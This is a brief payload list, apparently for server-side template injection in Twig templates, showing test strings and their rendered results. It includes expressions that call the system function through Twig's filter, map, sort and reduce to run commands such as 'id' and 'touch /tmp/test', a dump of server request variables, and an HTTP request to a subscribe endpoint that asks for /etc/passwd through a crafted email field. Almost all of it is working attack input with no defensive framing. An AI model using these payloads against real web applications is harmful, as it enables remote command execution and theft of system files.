User Name
['id']|filter('system')
["id"]
['touch+/tmp/test+']|filter('system')|join(',')
["touch+\/tmp\/test+"]
set sizes = [34, 36, 38, 40, 42]
sizes|filter(v => v > 38)|join(', ')
40, 42
app.request.server.all|join(',')
self
[0]|reduce('system','echo')
["echo"]
['echo']|map('system')|join
["echo"]
['echo',1]|sort('system')|join
echo1
POST /subscribe?0=cat+/etc/passwd HTTP/1.1
email=""@attacker.tld